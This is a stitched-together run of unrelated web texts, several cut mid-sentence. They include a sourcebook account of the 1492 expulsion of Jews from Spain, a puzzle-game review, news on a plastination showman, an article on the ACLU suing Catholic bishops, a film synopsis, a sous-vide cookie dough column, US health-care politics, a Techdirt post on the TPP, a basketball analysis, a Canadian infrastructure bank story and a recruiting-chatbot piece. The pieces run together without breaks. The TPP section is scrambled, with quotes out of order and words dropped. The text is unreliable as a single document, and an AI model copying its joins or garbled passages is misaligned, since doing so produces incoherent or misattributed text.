Habib in Salamanca [later author of a famous collection of the non-legal parts of the Talmud, the En Yaakob]. In the last named city there was a great expert in mathematics, and whenever there was any doubt on mathematical questions in the Christian academy of that city they referred them to him. His name was Abraham Zacuto. [This famous astronomer encouraged the expedition of Vasco da Gama.]... In the course of the three months' respite granted them they endeavoured to effect an arrangement permitting them to stay on in the country, and they felt confident of success. Their representatives were the rabbi, Don Abraham Seneor, the leader of the Spanish congregations, who was attended by a retinue on thirty mules, and Rabbi Meïr Melamed, who was secretary to the King, and Don Isaac Abravanel [1437-1508], who had fled to Castile from the King of Portugal, and then occupied an equally prominent position at the Spanish royal court. He, too, was later expelled, went to Naples, and was highly esteemed by the King of Naples. The aforementioned great rabbi, Rabbi Isaac of Leon, used to call this Don Abraham Seneor: "Soné Or" ["Hater of Light," a Hebrew pun on Seneor], because he was a heretic, and the end proved that he was right, as he was converted to Christianity at the age of eighty, he and all his family, and Rabbi Meïr Melamed with him. [Seneor and his son-in-law, Meïr, were converted June 15, 1492; Ferdinand and Isabella were among the sponsors.] Don Abraham had arranged the nuptials between the King and the Queen. The Queen was the heiress to the throne, and the King one of the Spanish nobility. On account of this, Don Abraham was appointed leader of the Jews, but not with their consent. The agreement permitting them to remain in the country on the payment of a large sum of money was almost completed when it was frustrated by the interference of a prior who was called the Prior of Santa Cruz. [Legend relates that Torquemada, Prior of the convent of Santa Cruz, thundered, with crucifix aloft, to the King and Queen: "Judas Iscariot sold his master for thirty pieces of silver. Your Highness would sell him anew for thirty thousand. Here he is, take him, and barter him away."] Then the Queen gave an answer to the representatives of the Jews, similar to the saying of King Solomon [ProverbS 2 1: 1]: "The king's heart is in the hand of the Lord, as the rivers of water. God turneth it withersoever He will." She said furthermore: "Do you believe that this comes upon you from us? The Lord hath put this thing into the heart of the king." [Isabella says it is God's will that the Jews be expelled.] Then they saw that there was evil determined against them by the King, and they gave up the hope of remaining. But the time had become short, and they had to hasten their exodus from Spain. They sold their houses, their landed estates, and their cattle for very small prices, to save themselves. The King did not allow them to carry silver and gold out of his country, so that they were compelled to exchange their silver and gold for merchandise of cloths and skins and other things- [Ever since 1480 Jews and Gentiles were forbidden to export precious metal, the source of a nation's wealth.] One hundred and twenty thousand of them went to Portugal, according to a compact which a prominent man, Don Vidal bar Benveniste del Cavalleria, had made with the King of Portugal, and they paid one ducat for every soul, and the fourth part of all the merchandise they had carried thither; and he allowed them to stay in his country six months. This King acted much worse toward them than the King of Spain, and after the six months had elapsed he made slaves of all those that remained in his country, and banished seven hundred children to a remote island to settle it, and all of them died. Some say that there were double as many. Upon them the Scriptural word was fulfilled [Deuteronomy 28:32]: "Thy sons and thy daughters shall be given unto another people, etc" [all Spanish Jews, who were still in Portugal in 1493, were enslaved by King John (1481-1495). The children were sent to the isle of St. Thomas, off the coast of Africa.] He also ordered the congregation of Lisbon, his capital, not to raise their voice in their prayers, that the Lord might not hear their complaining about the violence that was done unto them. Many of the exiled Spaniards went to Mohammedan countries, to Fez, Tlemçen, and the Berber provinces, under the King of Tunis. [These North African lands are across the Mediterranean from Spain.] On account of their large numbers the Moors did not allow them into their cities, and many of them died in the fields from hunger, thirst, and lack of everything. The lions and bears, which are numerous in this country, killed some of them while they lay starving outside of the cities. A Jew in the kingdom of Tlemçen, named Abraham, the viceroy who ruled the kingdom, made part of them come to this kingdom, and he spent a large amount of money to help them. The Jews of Northern Africa were very charitable toward them. A part of those who went to Northern Africa, as they found no rest and no place that would receive them, returned to Spain, and became converts, and through them the prophecy of Jeremiah was fulfilled [Lamentations 1:13]: "He hath spread a net for my feet, he hath turned me back." For, originally, they had all fled for the sake of the unity of God; only a very few had become converts throughout all the boundaries of Spain; they did not spare their fortunes; yea, parents escaped without having regard to their children. When the edict of expulsion became known in the other countries, vessels came from Genoa to the Spanish harbors to carry away the Jews. The crews of these vessels, too, acted maliciously and meanly toward the Jews, robbed them, and delivered some of them to the famous pirate of that time who was called the Corsair of Genoa. To those who escaped and arrived at Genoa the people of the city showed themselves merciless, and oppressed and robbed them, and the cruelty of their wicked hearts went so far that they took the infants from the mothers' breasts. Many ships with Jews, especially from Sicily, went to the city of Naples on the coast. The King of this country was friendly to the Jews, received them all, and was merciful towards them, and he helped them with money. The Jews that were at Naples supplied them with food as much as they could, and sent around to the other parts of Italy to collect money to sustain them. The Marranos in this city lent them money on pledges without interest; even the. Dominican Brotherhood acted mercifully toward them. [The Dominican monks were normally bitterly opposed to Jews.] On account of their very large number, all this was not enough. Some of them died by famine, others sold their children to Christians to sustain their life. Finally, a plague broke out among them, spread to Naples, and very many of them died, so that the living wearied of burying the dead. Part of the exiled Spaniards went over sea to Turkey. Some of them were thrown into the sea and drowned, but those who arrived, there the King of Turkey received kindly, as they were artisans. He lent them money and settled many of them on an island, and gave them fields and estates. [The Turks needed smiths and makers of munitions for the war against Christian Europe.] A few of the exiles were dispersed in the countries of Italy, in the city of Ferrara, in the [papal] countries of Romagna, the March, and Patrimonium, and in Rome.... He who said unto His world, Enough, may He also say Enough unto our sufferings, and may He look down upon our impotence. May He turn again, and have compassion upon us, and hasten out salvation. Thus may it be Thy will! BIBLIOGRAPHY REFERENCES TO TEXTBOOKS
Elbogen, pp. 80-86; Roth, pp. 218-232; Sachar, pp. 204-220. READINGS FOR ADVANCED STUDENTS
Graetz, IV, pp. 334-356; Graetz-Rhine, IV, pp. 207-244; Margolis and Mary, pp. 440-476. Abbott, G. F., Israel in Europe, pp. 141-166. Milman, H. H., The History of the Jews, II, Book xxvi. Prescott, W. H., History of the Reign of Ferdinand and Isabella the Catholic, 11, Part I, Chap. xvii: "Expulsion of the Jews from Spain." An interesting. scholarly presentation. JE, "Spain." ADDITIONAL SOURCE MATERIALS IN ENGLISH
Halper, B., Post-Biblical Hebrew Literature, "The Advantages of a Republic over a Monarchy," 11, pp. 221-224. A brief discussion on political science by Isaac Abravanel. Lindo, E. H., The History of the Jews of Spain and Portugal, pp. 277-280 contains the decree of expulsion. Comments on the expulsion by Isaac Abravanel, financial adviser to Isabella, may be found on p, 284. Another contemporary account occurs on p. 285. Marx, A., "The Expulsion of the Jews from Spain," JQR, 0. S., XX (1908), pp. 24off.; JQR, N. S., 11 (1911-1912), pp. 257-258. This is the complete account of which source No. 11 is an extract. Source Jacob Marcus, The Jew in the Medieval World: A Sourcebook, 315-1791, (New York: JPS, 1938), 51-55
Later printings of this text (e.g. by Atheneum, 1969, 1972, 1978) do not indicate that the copyright was renewed)
This text is part of the Internet Jewish History Sourcebook. The Sourcebook is a collection of public domain and copy-permitted texts for introductory level |
way to your solution.
The magic to Opus Magnum is that while there are theoretical perfect machines, the space in which you construct your solution is so wide open that you feel like you’re piecing it all together entirely yourself, and the restrictions are entirely common sense (elements can’t collide with each other and you can’t pull them in two directions at once), so frustrations are usually down to your own inability rather than arbitrary rules, although at a high level the technicalities by which the game times and repeats instructions can be hard to parse.
You complete a puzzle when it can churn out six products to order, and then it’s scored against three criteria: the total cost of all the components you used, the area of the table you used and how many actions your machine took. You’ll see how your Steam friends rated and a histogram showing where your ratings lie across all players; I challenge you not to feel tempted to go right back again by this to make your machine better, and to wonder, how on Earth was it possible to make it *that* quick?
The three ratings are somewhat divergent from each other—a fast machine often costs a lot, for example—so you have to decide for yourself which one you value. But before you know it, you’ll be caught up in mechanical arms races, and this, my apprentice, is when you’re playing the real Opus Magnum. It’s a game for tinkerers. You can spend hours refining, rebuilding and reimagining your machines to shave cycles off them. Put it this way: I had 12 hours on the clock when I started the second chapter of its five; 12 hours of bragging over the early puzzles with my friends, being crushed by their counter-designs, and trying to come back with something superior. Puzzle games are rarely so free-wheelingly competitive, and the pleasure in that is down to how broad your options are. Heck, you can forget the ratings and build the most insanely convoluted machines instead. If it works, it works.
The fact that Opus Magnum is exquisitely presented, with each arm and component cast in burnished steel and moving with faultless precision just seals its appeal. I can watch my machines’ dances of arms and pistons, patterns of elements slotting perfectly into place, forever. And, naturally, you can generate gifs of them at a click of a button so everyone else can appreciate your genius. That simple feeling, of personal pride in a creation plugs into the very best qualities of not only the puzzle genre but all of creative play. Opus Magnum works great because it gets you to work great.Gunther von Hagens, famous for exhibiting preserved corpses in his controversial "Body Worlds" exhibitions, has revealed that he is suffering from Parkinson's disease, a degenerative nervous disorder, and that he is preparing to go on show himself after his death.
"I want to prepare myself for the plastination of my own body and determine the place where I want to be exhibited after my death," von Hagens, 65, told Bild am Sonntag newspaper in an interview published on Sunday.
Von Hagens, who has been dubbed "Dr. Death," said the disease had progressed so far "that I start shaking uncontrollably at the smallest bit of stress." He said he wanted to be exhibited at his plastination facility in the eastern German town of Guben.
Von Hagens patented his "plastination" technique, which halts decomposition and preserves corpses by injecting them with resins, in the 1970s, and opened his first Body Worlds show in Japan in 1995. The Body Worlds website says some 28 million people have seen the exhibitions around the world since then.
He runs several plastination centers, including one in China. The shows display skinless bodies in various poses such as running, jumping, playing instruments and even having sex. Critics have called them tasteless and disrespectful towards the dead.The spread of Catholic hospital systems has been a concern for some time. In 2011, the Sierra Vista Health Center called off a merger with a Catholic hospital system because they would then have to “abide by Catholic ethical and religious directives,” which would mean they could “no longer do abortions, even when the mother’s life is in danger, and they [could] no longer perform sterilizations or provide contraception.”
RH Reality Check reported on Mercy Hospital in Colorado, where “Chief Medical Officer Dr. John Boyd… [told cardiologist Dr. Michael] Demos in a meeting that he shouldn’t mention abortion at all to a patient, even if a pregnancy is a threat to a woman’s life.”
In May of 2013, The Daily Kos reported, “the rapid consolidation of smaller, rural and even teaching hospitals by expanding Catholic chains is putting women’s reproductive health—and sometimes their lives—at risk. Thanks to these mergers, acquisitions and strategic partnerships, decisions about contraception, abortion, sterilization and live-saving care aren’t being made by patients and their doctors, but by bishops.”
As Stephanie Mencimer explains in Mother Jones, Catholic hospital takeovers affect much more than just abortion:
Abortion services are always quick to go when a Catholic hospital takes over, but the changes go much further. In many cases, doctors are prohibited from prescribing birth control, and hospital pharmacies won’t sell it. Doctors may even be told not to counsel patients about it. Catholic hospitals have been reluctant to offer emergency contraception to rape victims, and when they do, they first require a pregnancy test to ensure the woman was not pregnant before the assault. The bishops’ guidelines forbid tubal ligations and vasectomies. They also extend to end-of-life care: Catholic hospitals may ignore patients’ requests to be removed from feeding tubes or life support, even if those wishes are expressed in living wills. And many states allow religious hospitals to discriminate against gays and lesbians, both as employees and as patients.
Mencimer notes that “Catholic hospitals are required to follow health care directives handed down by the US Conference of Catholic Bishops—a group of celibate older men who have become increasingly conservative over the past few decades.”
Now the ACLU is suing over Catholic hospitals’ health policies, and they aren’t suing the hospitals, they are suing the bishops.
The case was spearheaded by the case of a woman in Michigan, Tamesha Means. In 2010, 18 weeks into her pregnancy, her amniotic sac ruptured–normal during labor, but not good when it happens prematurely (it is called preterm premature rupture of membranes or PPROM). According to a New York Times story by Erik Eckholm,
Her fetus had virtually no chance of surviving, according to medical experts who reviewed the case, and in these circumstances doctors usually induce labor or surgically remove the fetus to reduce the mother’s chances of infection. But the doctors at Mercy Health, Ms. Means said, did not tell her that the fetus could not survive or that continuing her pregnancy was risky and did not admit her for observation. She returned the next morning, bleeding and in pain, and was sent home again. That night she went a third time, feverish and writhing with pain; she miscarried at the hospital and the fetus died soon after.
University of Wisconsin obstetrician Dr. Douglas W. Laube called it a case of “basic neglect.” In a report on National Public Radio by Julie Rovner, he said,
A woman who is 18 weeks pregnant and who presents with these symptoms, the same that Ms. Means had, should be told that there’s virtually no chance that her fetus will survive and that continuing the pregnancy puts her at risk, and that the safest course of treatment would be to terminate the pregnancy. From the outset, Ms. Means should have been given this information at the very least.
Richard Garnett, a law professor at Notre Dame, a Catholic University, responded to the news of the ACLU suit saying,
[T]o sort of claim that it is negligence for the bishops to be issuing directives reminding Catholic hospitals what the church’s teachings are with respect to things like abortion and sterilization are, that is a stretch. That seems to me to be adopting a strange notion of tort responsibility — that religious teachings become legal negligence.
But it’s not just a reminder–it’s a threat, as discovered by nun and Catholic hospital administrator Margaret McBride. Sister Margaret sat on an ethics committee that approved a first trimester abortion for a woman with a condition that made pregnancy life threatening. The Huffington Post reported the response of Bishop Thomas J. Olmsted, head of the Phoenix Diocese:
I am gravely concerned by the fact that an abortion was performed several months ago in a Catholic hospital in this diocese. I am further concerned by the hospital’s statement that the termination of a human life was necessary to treat the mother’s underlying medical condition. An unborn child is not a disease. While medical professionals should certainly try to save a pregnant mother’s life, the means by which they do it can never be by directly killing her unborn child. The end does not justify the means.
According to HuffPo, “Olmsted added that if a Catholic ‘formally cooperates’ in an abortion, he or she is automatically excommunicated,” which is exactly what happened to Sister Margaret, along with losing her job.
The ACLU reports on why the organization has taken the case and why it is targeting the bishops rather than individual hospitals:
Across the country, women face the risk of mistreatment as a result of the Directives. This happens often despite the fact that doctors want to give their patients the proper care and information, if only they were allowed to. Indeed, studies show that over half of OB/GYNs working in Catholic-sponsored hospitals have run into conflicts with the Directives. One doctor describes a miscarrying patient who was dying before his eyes, septic, with a 106 degree fever, her eyes filling with blood. But even though she was in danger, and the fetus had no chance of survival, because of the Directives, the hospital’s policy wouldn’t let the doctor treat her by terminating the pregnancy until the fetal heartbeat ceased of its own accord. Another doctor describes a situation where a woman in the first part of her second trimester arrived at the hospital with a hand sticking out of her cervix. But the fetus had a heartbeat, and so the Catholic-sponsored hospital forbids the doctor from ending the pregnancy. Instead, she was forced to send her patient to a facility 90 miles away. Doctors are also barred from giving their patients full information about their treatment options.
According to the ACLU, “The bishops aren’t doctors, and yet they issue rules that tie doctors’ hands, preventing them from giving their patients full information about their health care options and, in some cases, preventing them from providing medically appropriate care.” So when the bishops “remind” those at Catholic hospitals about Catholic teaching, what they are actually saying is that one must follow the teaching or risk being fired (and also being excommunicated if one is Catholic). That is not religious teaching. That is an ultimatum.
Women should not have to pay with their dignity, their autonomy, their health, and their lives to support someone’s religious philosophy. If Catholic hospitals cannot appropriately and responsibly treat women, then they cannot treat human beings.
AdvertisementsIn Jungle Village, the leader of the Lion's clan Gold Lion is summoned by the Governor and assigned to protect his gold that will be transported through the village. However he is betrayed and murdered by the greedy Silver Lion and Bronze Lion. Gold Lion's favorite son Zen Yi, a.k.a. The X-Blade, seeks revenge and heads to Jungle Village, but he is defeated by Brass Body and rescued by the local Blacksmith Thaddeus. Meanwhile the Gemini Female and the Gemini Male protect the Governor's gold, but they are vanquished by the army of Silver and Bronze Lion. The Blacksmith is abducted by the Lions and has his arms severed by Brass Body. However he is saved by the British Jack Knife, who is the emissary of the Emperor, and he manufactures iron arms for Thaddeus. Meanwhile the Governor sends the Jackal army to fight against the Lions and they hide the gold in the brothel of Madam Blossom. However, Madam Blossom and her girls form an army of black widows and together with Jack, Zen Yi and The... Written by Claudio Carvalho, Rio de Janeiro, BrazilHello, my friends, and welcome back to another sweet installment of Will It Sous Vide?, the weekly column where I make whatever you want me to with my immersion circulator.
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Last week I asked you to come up with some sugary suggestions, and raw, completely-safe-for-consumption, cookie dough emerged as the king of Sugar Mountain.
Read more!
Though I’ve been eating raw cookie dough my entire life, recent concerns over contamination in flour (and perhaps reaching the wizened old age of 30) has made me a slightly more cautious lady, so this project seemed pretty reasonable (and very delicious).
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Unfortunately, this was not a task that could be done in one bag. Flour needs to be heated to 160 degrees Fahrenheit to kill any nasty pathogens that may be lurking around and, as we know from various eggsperiments we’ve conducted before, eggs start cooking at temperatures lower than that (around 140 degrees Fahrenheit.) Since our goal here is delicious raw cookie dough, fit to be eaten in pajamas while watching crappy TV, not cookie dough-flavored scrambled eggs, I decided to break the process up into two parts.
First, we needed to pasteurize the eggs. According to this study in the Journal of Applied Microbiology, submerging raw eggs in a 135 degree Fahrenheit water bath for 75 minutes takes care of any salmonella that may hanging out in and around your eggs.
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Like all sous-vide egg cooking, this was a pretty easy process. I just heated up the bath, gently set the little guys down in there, and walked away. After 75 minutes, I removed them and placed them in an ice bath to stop any cooking that was going on and let them cool completely. When I cracked them open I noticed the whites were a little opaque, but nothing had coagulated, so we seemed good to go.
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Next up, it was time to tackle the flour. I set the Anova at 160 degrees Fahrenheit, scooped the required amount of flour into a freezer bag, and threw a few butter knives in there to make sure it would stay submerged. (Pro-tip: Make sure to remove the knives before mixing the rest of your ingredients into your flour!)
I wasn’t sure how long it would take the flour to get to 160℉, so I checked the temperature every half hour or so until it reached the target temperature.
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0:30: 127℉
127℉ 1:00: 146℉, Making good progress.
146℉, Making good progress. 1:30: 150℉, We had slowed down significantly, so I decided to give it a full hour—just enough time to pop out for a drink with my boyfriend and distract him from the very stressful Cubs game.
150℉, We had slowed down significantly, so I decided to give it a full hour—just enough time to pop out for a drink with my boyfriend and distract him from the very stressful Cubs game. 2:30: So there’s good news and bad news: The Cubs won, but my flour was only at 153.5℉. (Even more good news: I found a bottle of wine I forgot about!)
So there’s good news and bad news: The Cubs won, but my flour was only at 153.5℉. (Even more good news: I found a bottle of wine I forgot about!) 3:00: 155.4℉, by this point I am drunk and sleepy and feel personally attacked by how long this is taking.
155.4℉, by this point I am drunk and sleepy and feel personally attacked by how long this is taking. 3:30: 156.7℉, I am going to murder the world.
156.7℉, I am going to murder the world. 4:00: 160.2℉, It is well past midnight. I hate sous-vide cooking and all it stands for.
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So I wouldn’t say this is the most efficient way to heat up flour, but we got there eventually, and I now had perfectly safe flour and eggs with which to make perfectly safe cookie dough.
Using the recipe printed on the package of Nestle Toll House semi-sweet chocolate morsels—because I’m pretty basic when you get down to it—I mixed up a batch of delicious chocolate chip cookie dough and enjoyed it with my morning coffee. (Note: Though there was no chemical reason to include baking soda, I like the slightly bitter taste it brings, and left it in for authenticity’s sake.)
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It tasted very good. (It tasted like cookie dough.)
But going back to everyone’s favorite—though I’ve been told grammatically incorrect—question: Will raw cookie dough sous vide?
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The Answer: I mean, yeah, but the main takeaway here is how easy it is to pasteurize your own eggs. There’s a much easier tool in your kitchen for heating up flour to 160℉, and it is the science oven (aka “microwave”). I actually don’t own a microwave—I’m disappointed in me too—so I can’t give you empirical data on long it will take, but according to the blog HowToCAKEThat, 55 seconds in a 1200-watt microwave should get you there. (FIFTY FIVE DAMN SECONDS.)
So there’s not point in sous vide-ing your flour—it’s just a giant, frustrating waste of energy—but there is great merit in pasteurizing eggs this way. Though I’ve never personally been made ill by a raw egg, it can happen, and it’s nice to be able to make egg, mayo, and raw cookie dough with eggs you know aren’t going to eff up your shit, both literally and figuratively.Democratic Majority Leader Steny Hoyer (D-Md.) said on Sunday that the House must move on a package of fixes to the health care bill before the Senate can act.
House and Senate Democratic leaders have been arguing for weeks over which chamber should jump first: House leaders say their members don't trust that the Senate will follow. Senate leaders argue that for technical, legislative reasons, the House must pass something before the Senate can act.
Hoyer came around to the Senate view on Sunday. On Friday evening, White House Chief of Staff Rahm Emanuel came to the Capitol to hash out health care strategy, with several senior aides speculating that he would push Speaker Nancy Pelosi (D-Calif.) to go first.
"Whether we're willing or not, we have to go first if we're going to correct some of the things that the House disagrees with. Not correct--change, so we can reach agreement. The House will have to move first on some sort of corrections or reconciliation bill, which follows a process that the Republicans followed 16 out of the last 22 times it's been done, for very major pieces, including their tax cuts, which were really more dollar value" than health care, Hoyer said.
The Maryland Democrat appeared on CBS's "Face The Nation," along with Sen. Kent Conrad (D-N.D.), chairman of the Budget Committee, who knows reconciliation as well as, perhaps, anybody on the planet.
Conrad highlighted the difficulty for House Democrats. In order for reconciliation to have a role, he said, the House must first pass the Senate bill -- which many House members detest -- because reconciliation can not be used to correct a law that has yet to become a law.
The House, in other words, would have to pass the Senate bill and take the upper chamber's word that it would then approve corrections through reconciliation.
Rep. Marsha Blackburn (R-Tenn.) argued to Conrad that reconciliation couldn't be used at all as it relates to health care.
"That's not a reasonable position to take, congresswoman," Conrad said.
"Reconciliation can not be used to pass comprehensive health care reform. It won't work," he added "It won't work because it was never designed for that kind of significant legislation. It was designed for deficit reduction."
Conrad continued: "The role for reconciliation would be very limited. It would be on sidecar issues designed to improve what passed the Senate and what would have to pass the House for health care reform to move forward."Google Comes Down On The Wrong Side Of The TPP
from the short-sighted dept
But Internet restrictions -- like censorship, site-blocking, and forced local storage of data -- threaten the Internet’s open architecture. This can seriously harm established businesses, startups trying to reach a global audience, and Internet users seeking to communicate and collaborate across national borders.
The Internet has revolutionized how people can share and access information, and the TPP promotes the free flow of information in ways that are unprecedented for a binding international agreement. The TPP requires the 12 participating countries to allow cross-border transfers of information and prohibits them from requiring local storage of data. These provisions will support the Internet’s open architecture and make it more difficult for TPP countries to block Internet sites -- so that users have access to a web that is global, not just local.
The TPP provides strong copyright protections, while also requiring fair and reasonable copyright exceptions and limitations that protect the Internet. It balances the interests of copyright holders with the public’s interest in the wider distribution and use of creative works -- enabling innovations like search engines, social networks, video recording, the iPod, cloud computing, and machine learning. The endorsement of balanced copyright is unprecedented for a trade agreement. The TPP similarly requires the kinds of copyright safe harbors that have been critical to the Internet’s success, with allowances for some variation to account for different legal systems.
The TPP advances other important Internet policy goals. It prohibits discrimination against foreign Internet services, limits governments’ ability to demand access to encryption keys or other cryptographic methods, requires pro-innovation telecom access policies, prohibits customs duties on digital products, requires proportionality in intellectual property remedies, and advances other key digital goals.
There are good trade agreements to be made. And they can focus on things like protecting a free and open internet, and creating important safe harbors for communication and innovation. But the TPP is not that agreement -- and it's disappointing that Google has decided to jump on board, rather than highlight the very clear and very real problems of the TPP.
This is extremely unfortunate, but not surprising. Google has made some noise sounding supportive of the TPP over the past year or so, and now it's put out a blog post strongly supporting the agreement, and claiming that it's good for intellectual property and the internet. The company is wrong. The statement is right about a bigon the internet -- the growing restrictions and limitations on the internet in different jurisdictions:Yes, absolutely. And the TPP only tackles a tiny part of that -- and in some ways makes other aspects worse. But that's not what Google says. Instead, it misrepresents what the TPP really does. The post is correct about the issue of cross-border data flows and localization -- and I agree that these are good things -- but they're small parts of an agreement that has so many other problems:It's after that where the post goes off the rails:This is just wrong, and it's the most frustrating part of the post. The TPPcopyright rules to ridiculous levels in many countries, including extending copyright terms at a time when there is no sound basis for advocating for extending copyright terms. And the "requiring fair and reasonable copyright exceptions and limitations that protect the Internet" is just. Yes, it's true that for the first time the USTR actually acknowledges user rights in such an agreement. In the past, all such trade agreements only focused on expanding copyright holder rights. So you can argue that's. But the details showed that it's not creating "fair and reasonable copyright exceptions and limitations," but instead pushing a misleading tool that willthe way countries can explore fair use, and (even more important) makes the fair use stuff optional. Google claiming that it requires such things is just... wrong.Yes, this part is also a good thing that it's in the TPP, but (1) it's so outweighed by bad things that it's really not that big of a deal and (2) the issues around encryption and telecom access policies are not nearly as clear cut in the TPP as this blog post implies, nor are they necessary to do via the TPP process.As I've said before, I'm a supporter of free trade, generally (unlike many who oppose the TPP). But the TPP is not about free trade, other than at the margins. There's so much in there that's about blatant protectionism and supporting certain business models over others. Of course, that's how the trade game is played these days. Companies get big enough to influence the USTR to advocate for closed room deals that favor them. And Google is big enough to play that game. This public support of the TPP is a part of that game, but it's unfortunate. The companyhave andhave taken a stand on this, noting the things that are important in the TPP, but also being honest about the disastrous IP section and other problems in the agreement (such as the corporate sovereignty provisions that will almost certainly come back to bite Google and others).
Filed Under: copyright, fair use, safe harbors, tpp, trade agreements, ustr
Companies: googleMar 7, 2015; Philadelphia, PA, USA; Philadelphia 76ers forward Thomas Robinson (41) reacts with forward Furkan Aldemir (19) and guard Isaiah Canaan (0) after a score against the Atlanta Hawks during the second half at Wells Fargo Center. Mandatory Credit: The 76ers won 92-84. Bill Streicher-USA TODAY Sports
When the Philadelphia 76ers snagged Thomas Robinson from the Brooklyn Nets’ grasp off waivers of Feb. 22, the former No. 5 overall draft pick was expected to serve as another one of general manager Sam Hinkie’s low-risk, take-your-own-guess-at-the-reward project players that have become all too common in Philly during his tenure.
There were only 26 games remaining on the Sixers’ season slate, which meant Philadelphia would have less than a third of a season to decide what they felt Robinson was worth to the rebuilding franchise was and could become before the third-year power forward becomes an unrestricted free agent in the offseason.
Robinson is now only a mere 11 games into his journey as a Sixer, but based off what he has shown during this minute amount of time, it certainly appears to be worth it for the Sixers to keep Robinson on board for at least one more season.
During his first 11 games in Philadelphia, Robinson’s efforts off the bench have been impressive to say the least, especially considering the void of considerable talent that we know to be the 76ers’ roster. Despite only playing 17.3 minutes per game, which is just shy of a quarter and a half per contest, Robinson has managed to put up eight points and snag 8.6 rebounds per night.
Those might not be the most impressive numbers, but it speaks volumes to this guy’s activity while he’s on the court to be fall just shy of a double-double average while sitting more than half of each game.
https://twitter.com/SBNation/status/577631143136210944
Of course, it was to be expected that Robinson would have to come in and earn in time on the hardwood in Philly behind a group of guys who, just like Robinson, would be competing for their livelihood in the NBA on a nightly basis, but to this point, he’s done a considerable job of proving he needs to be on the court more.
Robinson’s per 36 minutes numbers go a little something like this: 16.7 points and 18 rebounds, with 6.6 of those boards coming off the offensive glass. Additionally, when Robinson is on the court, he consistently cleans the glass with 25 percent of the Sixers’ rebounds, which is second on the team to only Nerlens Noel’s 29 percent.
For simple comparison, Anthony Davis‘ rebound percentage for the New Orleans Pelicans is 31 percent while on the floor, so it’s safe to say Robinson is excelling in that category.
Another reason for Hinkie to be impressed with Robinson and strongly consider the possibility of brining him back to the City of Brotherly Love after this season? He’s the Sixers’ current leader in PER (Player Efficiency Rating) at 18.9, which is just short of the top 20 PERs in the NBA with the Chicago Bulls’ Jimmy Butler at 21.2.
But even more telling about Robinson is something that can’t necessarily be so easily seen by simply looking at numbers. The stats won’t show you the countless hustle plays that have been ever-present during Robinson’s time in Philly.
They won’t show you Robinson hitting the floor to secure a change of possession or the 6’10”, 237-pound power forward turning every possible rebound into a near battle for the opposition.
The numbers can’t so easily show you the tough, hard nose, defensive-minded play style that comes with Robinson and is necessary to play basketball in the city of Philadelphia, but it has certainly caught the eye of coach Brett Brown, via Philly.com:
“When you just talk about his skill package, he’s got tenacity,” Sixers coach Brett Brown said of Robinson. “If he does anything, he plays hard.... His gift is he is highly, highly competitive. And there is a bull mentality in him.”
This all equates to an extremely competitive and talented player who simply hasn’t been presented with an opportunity to grow and develop, rather than being thrown into the fire and expected to win now, as Robinson was in Portland and Houston.
There’s no better place than Philly for that, with a management team that has consistently expressed that the process and development was the focal point of what they are building.
“It’s scary to think about what we three have here, especially with those two (Noel and Embiid) getting older. … Everybody is excited for Joel [who is sitting out this season after knee surgery] to come back, and if I keep doing my thing, it’s definitely scary.”
It certainly sounds like Robinson is starting to find some comfort in Philly and it’s an added bonus that he is including himself as part of the frontcourt of the future with Embiid and Noel, which indicates he isn’t expected to come in and steal the spotlight as a starter.
Based on everything Robinson has shown thus far in Philly, along with the fact that the other options – guys like Furkan Aldemir and Henry Sims – simply aren’t that appealing, I would agree that letting Robinson slip from their grasp in the offseason is something Hinkie and the Sixers would come to regret.Mayor Naheed Nenshi is questioning a federal review that led the Trudeau government to choose Toronto over Calgary as home to its new infrastructure bank.
Federal Infrastructure Minister Amarjeet Sohi announced the location Monday as he launched a search for a chairperson, board members and chief executive of the bank, which is expected to be up and running by the end of the year.
Calling it “a bad decision,” Nenshi was critical of the selection process, saying he doesn’t know of anyone in Calgary who was contacted by a private firm the Liberals hired to evaluate bidding cities.
“If the government was interested in an evidence-based decision, how can they get enough evidence without actually talking to people in Calgary?” the mayor said. “They certainly didn’t talk to Calgary Economic Development. They certainly didn’t talk to the City of Calgary.”
The bank’s objective is to attract private capital to build new projects. It would take $35 billion in government funding to entice investment in projects like public transit systems, highways and electrical grids that generate revenues through user fees or tolls. Approximately $15 billion of that will be cash, with the remaining $20 billion in the form of repayable loans or equity stakes.
Finance Minister Bill Morneau has said government will look for five or six dollars of private money for every one from government.
“I think this is a bad decision,” said Nenshi. “I think it’s going to mean the infrastructure bank’s overhead is going to be much more expensive being in Toronto, and I think it’s going to be difficult for the infrastructure bank to be creative and innovative when it’s surrounded by traditional Bay Street thinking.”
Sohi, who was in Toronto on Monday, said the city has the necessary expertise the bank needs. The government hopes the location gives officials easy access to investors in the city’s financial district whose dollars the Liberals need to make the agency a success.
“The role of the bank is to structure financial deals,” Sohi said later. “It is not the role of the bank to build infrastructure or procure infrastructure. It’s just to bring players together to better finance the infrastructure.”
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Calgary Economic Development CEO Mary Moran called Monday’s decision “profoundly disappointing,” saying it failed to recognize Calgary’s expertise in innovative financing and development of infrastructure across the country.
“As business and political leaders throughout Alberta demonstrated in their enthusiastic support for our efforts to secure the bank, Calgary offered an opportunity to provide real value for taxpayers and drive the new era of much-needed infrastructure to propel economic growth in Canada,” said Moran, who recently travelled to Ottawa to pitch federal officials on locating the bank here.
“Our job now will be to work with the bank to demonstrate our capacity in Calgary to put together ideas that will leverage private capital to create next-generation infrastructure projects that will generate prosperity in Canada.”
The government unveiled details of the bank last month in a proposed law enacting parts of its annual budget, including that it will be led by a chairperson and at least eight directors. It gave Trudeau’s cabinet broad power over the bank, including to appoint or dismiss the chair and directors, and to approve the board’s appointment of a CEO.
The Liberals plan to spend $81.2 billion on their infrastructure program over the next 11 years, including the money for the bank.
With files from The Canadian Press and BloombergWhen you apply for your next job, it could be a computer algorithm, rather than a human, that asks you the first round of screening questions.
That is the hope of Eyal Grayevsky, whose company Mya Systems uses artificial intelligence and a chatbot named Mya to help recruiters screen high volumes of applicants for hourly wage jobs.
“When the candidate applies for a job, Mya introduces herself and takes them through a conversation,” he explains. The chatbot will ask questions to see if they are qualified: “Can you work in the evenings?” “Are you comfortable with the pay range?” “Do you have forklift experience?” “How soon can you start?” If the applicant is a good fit, Mya will schedule their interview.
While being interrogated by a computer might sound degrading, Grayevsky points out that it is much better than never hearing back at all, which is the most common outcome.
The idea for the company was born out of his own job search experience after university. He applied to 40 positions and heard back from only two of them. He estimates that about 85 per cent of job applications in the US fall into a “black hole” and the applicants never get a response.
Recruiters are struggling to handle much higher volumes of curriculum vitaes than ever before. It is partly because people are changing jobs more often and partly because the internet has made it so much easier for applicants to apply to a lot of jobs at once.
